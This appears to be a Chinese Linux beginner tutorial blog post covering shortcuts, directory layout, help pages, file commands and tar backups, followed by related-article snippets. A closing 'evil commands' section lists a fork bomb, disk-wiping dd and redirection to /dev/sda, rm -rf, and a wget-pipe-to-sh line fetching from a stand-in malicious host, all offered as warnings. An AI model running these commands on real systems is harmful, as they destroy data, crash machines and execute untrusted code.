Linux基础命令、快捷键、命令操作

Linux基础操作、快捷键、命令

Linux命令的执行过程

命令----shell(命令解释器)-----内核(kernel);

根据命令是否是shell的一部分,将命令分为内部命令和外部命令;内部是shell的一部分,外部命令是由安装软件提供

常用快捷键:

ctrl+c-->取消终止命令

ctrl+l-->清楚屏幕

ctrl+a-->光标移动到行首

ctrl+e-->光标移动到行尾

ctrl+f-->向前移动

ctrl+b-->向后移动

alt+.-->引用上一条命令的最后参数

tab-->补齐,一个tab补齐命令或参数,两个tab显示字母开头的所有命令

Linux文件系统

1)文件名称严格区分大小写

2)文件名称可使用/以外的任意字符,特殊字符不推荐使用

3 )文件名不可查过255个字符(这个就看就行了,谁心那么大)

4)以.开头的文件是隐藏文件,但是有两个特殊的:

.:表示当前目录。

..:当前目录的上一级目录。

如:/etc/init.d/

.表/etc/init.d/

..表/etc

echo 3 > /proc/sys/vm/drop_caches 清除内存

5)相对路径:根据当前的目录做描述

绝对路径:根据/目录开始做描述

Linux一切皆文件,所有文件都放在目录下(/)

文件/目录对应关系 相对路径/绝对路径

常用目录的对应关系

/boot  ##启动文件存放目录

/etc   ##配置文件存放目录

/proc  ##系统内存状态目录,是系统快照

/dev   ##存放硬件文件的目录

/home  ##普通用户的家目录

/root  ##root用户的家目录

/var   ##动态变化的数据存放目录,如日志、数据库的数据文件

/usr   ##用户文件存放目录

Linux的帮助命令

lhelp:内部命令帮助(help cd)(ls --help)

man:命令手册(man 命令):详细介绍命令的使用

man的区域类型: 格式:man 1/5/8 命令/文件

1-->用户命令

5-->配置文件的格式帮助

8-->管理员管理工具的帮助

基本结构

sections(区域)

name(名字)

synopsis(命令的语法)

description(描述解释命令)

option(选项)

EXAMPLE(使用的案例,经使用)

author(作者)

seealso(其他相关帮助)

Linux常用的增、删、改、查

常用目录的对应关系

/boot  ##启动文件存放目录

/etc   ##配置文件存放目录

/proc  ##系统内存状态目录,是系统快照

/dev   ##存放硬件文件的目录

/home  ##普通用户的家目录

/root  ##root用户的家目录

/var   ##动态变化的数据存放目录,如日志、数据库的数据文件

/usr   ##用户文件存放目录

查看:cd pwd ls du which find cat more/less head/tail grep wc,

目录的查看:cd,pwd,ls,du

cd:目录的管理,切换目录

(  cd /etc/sysconfig   ##进入绝对目录

cd ../../   ##到根目录

cd -   ##回到上一所在目录

pwd  ##验证

cd   ##回家

pwd

useradd  u01  ##创建用户u01

e cho 123123 |passwd --stdin u01  ##给u01修改密码为123123

cd  ~u01   ##进入u01的家目录

pwd  ##验证为/home/u01)

pwd:查看当前工作目录

(pwd  ##直接查看当前工作目录即“.=?”

cd  /etc/init.d/

pwd  ##查看到是链接后的目录

pwd -P  ##查看物理路径/etc/rc.d/init.d)

ls:列出当前目录下文件

(-lh   ##长格式查看当前目录下的内容

-ld  /boot  ##查看/boot本身的详细信息

-R  /   ##显示整个系统的所有内容

--help  ##查看帮助,推荐使用-lt按时间排序,-lS按大小排序

-a  ##显示隐藏文件如.bash_profile)

du:统计文件或目录大小

(du -sh /  ##统计根目录总大小

du -sh /*  ##统计根目录的子目录的总大小

du -sh /etc/redhat-release   ##统计单个文件大小)

文件的删和改:rm、mv、vi/vim

rm:删除文件或目录

mv:移动或修改文件名称,位置

vi/vim:修改创建文件

       (:% g/^$/d  ##删除空行

:% g/^#/d  ##删除#开始的行

: !ip  a   ##在vi中执行命令

ctrl+r  ##重做,与u撤销相反



文件的增加:mkdir、touch、ln、cp

mkdir:创建目录

touch:创建文件

ln:创建文件目录的超链接

cp:复制文件或目录

tar备份系统:gzip,bzip2,xz,tar

tar  -zcvf  文件名称-日期.tar.gz  备份的目录或文件  ##调用gzip

tar  -jcvf  文件名称-日期.tar.bzp2  备份的目录或文件  ##调用bzip2

tar  -Jcvf  文件名称-日期.tar.xz  备份的目录或文件  ##调用xz

恢复:解压缩

tar -zxvf  文件名称-日期.tar.gz  -C  释放的目录  ##其他格式相同

查看压缩包中的内容:

tar  -ztvf  文件名称-日期.tar.gz   ##不解压查看,其他格式相同

次文档皆是一下比较简单的操作命令,与一些比较简单的简介,皆是参考

Linux的操作需要我们长时间的积累,这需要我们付出时间与精力去学习



   邪恶的操作命令

rm-rf 命令

:(){:|:&};: 命令    ## fork 炸弹具体操作是通过定义一个名为 ‘:‘的函数,它     会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

命令 >/dev/sda

mv 文件夹 /dev/null

wget http://malicious_source -O- | sh #sh会(无条件的)执行下载下来的脚本

> file

dd if=/dev/random of=/dev/sda   ##会向块设备sda写入随机的垃圾文件从而擦出数据,你的系统可能陷入混乱和不可恢复的状态

时间: 2024-10-27 08:16:21

Linux基础命令、快捷键、命令操作的相关文章

Linux基础文本查看命令之 cat,tac,more,less,head,tail

在使用linux的过程中多多少少都会涉及到文本的操作,因此掌握一些文本操作的工具命令能大大的提高我们的工作效率. cat命令 cat命令的用途是链接文件或标准输入并打印.这个命令常用来显示文件内容,或者将几个文件连接起来显示,或者是从标准输入读取内容并显示,它常与重定向符号配合使用. 1)命令格式 cat    [选项]    [FILENAME] 2)命令功能 将文件或标准输入组合输出到标准输出. 3)命令参数 -E:在每行结束处显示 $ -n:对输出的所有行编号 -s:不输出多行空行 4)常

【Linux基础】常用命令大全

Linux基础之常用命令大全 系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性 hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 cat /proc/cpuinfo 显示CPU info的信息 cat /proc/interrupts 显示中断 cat /

linux基础之grep命令

Linux基础之grep命令 grep命令是linux下的行过滤工具,参数繁多,功能比较强大,用起来比较方便,下面就将grep及其egrep分模块讲述其功能. 1.Grep:根据模式搜索文本,并将符合模式的文本行显示出来 2.Grep的语法:Grep  [option]   PATTERN  [file-] Pattern: 文本字符和正则表达是元字符组合而成匹配条件 3.grep的常用选项: -i: 不区分字符的大小写(只适用于单字符): -I:字符的大写: --color: 匹配的串用高亮颜

Linux基础知识——shell命令类型及命令使用帮助

加入马帮有一段时间了,看到群里面大总管要检查博客,才意识到,原来我还没有写过作业.俗话说的好,时间是把杀猪刀!!!咳咳,其实想说,马哥视频忒长,内容贼多,对于文笔不好我来说,写作业压力山大啊,有木有.嗯.嗯,长话短说,进入正题. 两个星期过去,课程进度有点掉队,这篇博文主要记录基础命令课程知识,用于梳理知识点并加深印象,为今后行走linux之路打下坚实基础的好开端,完成该博文并回顾相关知识点后,期望加快学习步伐,稳扎稳打,跟上进度,good good study,day day up! 1.  

Linux基础之常用命令(二)

一. Linux系统上命令通用格式为: COMMAND    [OPTIONS]    [ARGUMENTS] 命令     选项      参数 1.  命令 命令可分为两类:内置命令和外部命令 内置命令:由shell自带的命令 例如:cd,break,(un)alias,type,file,history,pwd--是系统在启动之初就已经调入到内存中,是常驻内存之中,执行效率高 外部命令:独立的可执行文件,文件即命令:系统根据环境变量中的设置查找来执行.例如:ls.ifconfig.user

linux基础及常用命令的使用

linux系统是一个主要使用命令进行日常工作的系统,所以了解并熟练掌握常用命令的使用是进入linux大门的基本,以下便是linux学习过程中学习的常用的命令的用法: linux的日常管理工作一般有如下几个部分,下面通过这几个方面的管理工作来整理与其相关的常用命令: 一  shell的介绍 1.普通用户需要直接使用计算机系统提供的功能,是非常困难的,因为计算机系统能接收的指令和人发出的指令是不相同的,因此需要在计算机系统及用户之间建立一个可以将相互的指令进行"翻译"的功能.shell就是

Linux基础:history命令

一.为什么要学习 history 命令 ? history命令是bash shell 内置命令,history命令有助于我们缩短输入命令的时间,达到节省命令快捷操作的要求.我们也可以通过查询history命令,从而审计操作日志.同时,我们可以隐藏一些含有敏感信息的命令输入,使系统更加安全. 二.history 命令常见用法 ? 语法: history [n | -c | -rnaw histfile] 参数: n:数字,列出最近的 n 条历史命令 -c:将当前shell 缓存中的 history

Linux基础以及常用命令

首先,先了解一下什么是shell?Shell 是Linux系统的用户界面,提供了用户与内核进行交互操作的一种接口.它接收用户输入的命令并把它送到内核去执行.Shell也被称为Linux的命令解释器,Shell是一种高级程序设计语言.[[email protected] ~]# echo $SHELL 查看当前的shell类型/bin/bash[[email protected] ~]# cat /etc/shells 查看当前系统安装的shell/bin/sh/bin/bash/sbin/nol

Linux基础以及常见命令

第一周重点知识总结 一.计算机基础 1.计算机组成 ??计算机系统由硬件(Hardware)系统和软件(Software)系统两大部分组成 ??冯·诺依曼体系结构: 计算机硬件由运算器.控制器.存储器.输入设备和输出设备五大部分组成 2.服务器分类: 2.1.按规模分类: ??巨型计算机,大型计算机,小型计算机,微型计算机. 2.2.按应用功能分类: ??Web服务器.数据库服务器.文件服务器.中间件应用服务器.日志服务器.监控服务器.程序版本控制服务器.虚拟机服务器.邮件服务器.打印服务器.域

linux 基础运维命令

Linux运维日常命令操作 1.linux启动过程 开启电源 --> BIOS开机自检 --> 引导程序lilo或grub --> 内核的引导(kernel boot)--> 执行init(rc.sysinit.rc)--> mingetty(建立终端) --> shell 2.网卡绑定多IP ifconfig eth0:1 192.168.1.99 netmask 255.255.255.0 3.设置DNS.网关 echo "nameserver 202.1